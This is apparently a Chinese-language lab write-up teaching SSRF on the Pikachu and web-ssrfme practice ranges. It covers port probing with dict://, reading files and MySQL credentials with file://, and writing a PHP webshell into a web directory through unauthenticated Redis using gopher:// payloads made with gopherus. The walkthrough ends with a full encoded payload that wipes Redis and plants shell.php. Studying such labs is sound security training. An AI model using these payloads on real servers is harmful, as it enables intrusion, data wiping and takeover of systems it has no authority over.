1.利用靶场Pikachu来认识SSRF漏洞
1.什么是SSRF
SSRF漏洞允许攻击者通过向服务器发起请求来伪造请求。这种漏洞的核心在于攻击者能够控制服务器向任意目标地址发起请求,而这些请求通常是攻击者无法直接从客户端发起的。
简单来说,假设你的网站有一个功能,它允许用户输入一个网址,并从该网址获取信息。这时候,如果网站的服务器没有足够的安全控制,攻击者可能会通过提交特定的地址,诱使服务器去访问攻击者指定的内部或外部资源。
如图,本来靶场是访问他自己指定的资源的这一首诗,当我把后面的请求网址改成百度以后,靶场就访问到了百度
这样看SSRF好像也没有什么大危害,接下来,认识几个curl支持的协议,这些协议可以帮助SSRF更好的完成你想要的入侵
2.curl协议
1.dict协议(http协议作用一样,可以探测服务端口)
本来是一种字典协议,用得特别少,但是他可以读取MySQL的部分返回内容,这就有点用处了,当我用这个协议访问开启的端口的时候,会有返回值,但是访问其他端口时没有返回值,这就可以让我知道他的一些特定端口开了没有,有没有这个服务,比如mysql:3306,redis:6379
2.file协议
可以读取文件
这里还能读取到MySQL的账号密码,如果开启了远程连接,可以直接登上去,但是这个MySQL的连接文件路径要猜,不然获取不了
3.gopher协议
Gopher 协议是一种早期的互联网协议,主要用于创建和访问层次化的信息目录。某些服务在处理请求时未正确过滤或处理 Gopher 协议,导致它们可以通过 Gopher 协议访问内部服务或敏感数据。
1.可以用gopherus工具来生成payload
1.选项里面的Reverseshell是我们后面的写任务计划要的反弹shell,在这里我们选PHPshell是要写入进去shell
2.选项是要选择网站的物理路径,这一般是默认的值,要么就要你猜了
3.写入你想要的webshell(<?php phpinfo();?>)
4.生成了一个url编码过后的地址
解码可以看到是这样的
2.redis的写入的命令格式
gopher://127.0.0.1:6379/_*1
$8 $表示接下来的字符长度是8
flushall 删除 Redis 数据库中的所有数据,避免干扰
*3 *3表示接下来是有三个元素的数组
$3 第一个元素的长度是3
set 第一个元素
$1 第二个元素长度是1
1 第二个元素
$22 第三个元素的长度是22
<?php phpinfo();?> 第三个元素
*4
$6
config
$3
set
$3
dir
$13
/var/www/html
*4
$6
config
$3
set
$10
dbfilename
$9
shell.php
*1
$4
save
完整的取出来是这样几条命令
flushall
:清除 Redis 中所有的键值对,数据库为空。set 1 <?php phpinfo();?>
:key1
被设置为<?php phpinfo();?>
。config set dir /var/www/html
:Redis 数据目录设置为/var/www/html
。config set dbfilename shell.php
:Redis 数据文件名设置为shell.php
。save
:将当前 Redis 数据库保存到磁盘。
3.了解了上面的东西,利用ssrfme靶场结合redis的未授权访问可以干的事
靶场是web-ssrfme
因为过滤了file和dict所以就无法用上面的方法,但是用http协议进行bp爆破,除了80 端口,就没有其他的端口了
根据这个代码,输入一个info,得到了phpinfo界面
在phpinfo里面找到一个可能是内网的IP,猜测还有其他的服务器,发现172.18.0.2:80,有可能也是一台web服务器,因为他有不同的静态页面GO away1
看能不能利用http协议把这台服务器开放的服务用bp给爆破出来
可以看出这台服务器的6379端口是开着的
尝试了直接用gopherus工具用默认的路径来攻击,无法写入shell,就算把gopherus生成的payload进行二次url编码也没有用。
正常的入侵要用字典去爆破除了html的其他目录,这里我就用上帝视角知道html下面还有一个upload目录
1.写入webshell
gopherus生成的payload
发现还是要二次编码才可以成功
二次编码
gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2426%0D%0A%0A%0A%3C%3Fphp%20system%28%27id%27%29%3B%20%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A